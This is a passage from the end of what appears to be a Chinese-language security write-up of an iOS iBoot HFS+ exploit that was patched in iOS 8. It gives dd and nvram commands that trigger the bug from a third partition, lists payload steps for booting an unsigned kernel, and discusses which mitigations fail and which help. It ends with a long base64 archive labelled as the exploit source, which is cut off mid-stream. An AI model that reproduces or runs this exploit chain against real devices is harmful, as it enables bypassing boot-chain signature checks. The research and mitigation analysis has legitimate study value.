这个bug的实际应用是引导任何未签名的内核。考虑创建一个第三分区并触发那里的漏洞:

. dd of=/dev/rdisk0s1s3 if=ramdiskG.dmg bs=512k count=1
. nvram boot-partition=2
. nvram boot-ramdisk="/a/b/c/d/e/f/g/h/i/j/k/l/m/disk.dmg"

当然,payload需要这样修改:
. 移到sp
. 禁用解释器
. 应用那个补丁, 从0分区加载内核, 忽略ramdisk
. 解压 nettoyeur
. 静默安装
. 运行 nettoyeur
.跳转到iBoot起始点然后再次运行

--3 - 结论

这一特定漏洞及其利用方法的旅程到此结束。它已经在iOS 8上修复了,然而,回想起来我觉得它很有趣,因为发动攻击的环境非常恶劣。此外,触发它导致所有地狱挣脱和狙击的出路肯定是有趣的。最后,能从中学到一些教训。

 

对这种漏洞利用不起作用的缓解措施:

- 堆栈金丝雀不起作用,因为在传统意义上,我们并没有溢出堆栈;我们溢出了整个heap。 ReadExtent将永远不会返回,memalign的堆栈没有溢出,而是使用一个精确的写入来重写返回地址。
- 任务调度程序检查根本没有帮助。一旦触发,就不会有task_yield(),所以这些检查永远不会发生。
- iBoot中的W^X会让漏洞利用更加困难,但作用不大, 因为我们可以直接置成ROP。

对这种漏洞利用起到作用的缓解措施:

- 数据和堆之间未映射的保护页会阻止这种攻击,因为我们不能用小堆栈帧跳过它们。再好一点,应该为每个任务设置防护页。
- 硬切割递归将有帮助。也就是说,一个限制递归的检查ResolvePathToCatalogEntry()。这就是苹果如何在iOS 8中修补它的方法。
- 堆随机化 或者IASLR将阻止漏洞利用。

--4 - 参考

[1] https://embeddedgurus.com/state-space/2014/02/are-we-shooting-ourselves-in-the-foot-with-stack-overflow/
[2] https://conference.hitb.org/hitbsecconf2013kul/materials/D2T1%20-%20Joshua%20'p0sixninja'%20Hill%20-%20SHAttered%20Dreams.pdf
[3] https://github.com/xerub/ios-kexec-utils
[4] https://www.theiphonewiki.com/wiki/InnsbruckTaos11B554a(iPhone3,1)
[5] https://en.wikipedia.org/wiki/Tarjan's_strongly_connected_components_algorithm
[6] https://github.com/xerub/idastuff/blob/master/tarjan.py
[7] https://en.wikipedia.org/wiki/HFSPlus
[8] https://en.wikipedia.org/wiki/B-tree
[9] https://en.wikipedia.org/wiki/Extent
(file_systems)
[10] https://opensource.apple.com/tarballs/BootX/BootX-81.tar.gz
[11] https://www.theiphonewiki.com/wiki/GID_Key
[12] https://github.com/xerub/irecovery

-- 5 - 源码

begin-base64 644 iloader.tar.xz
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
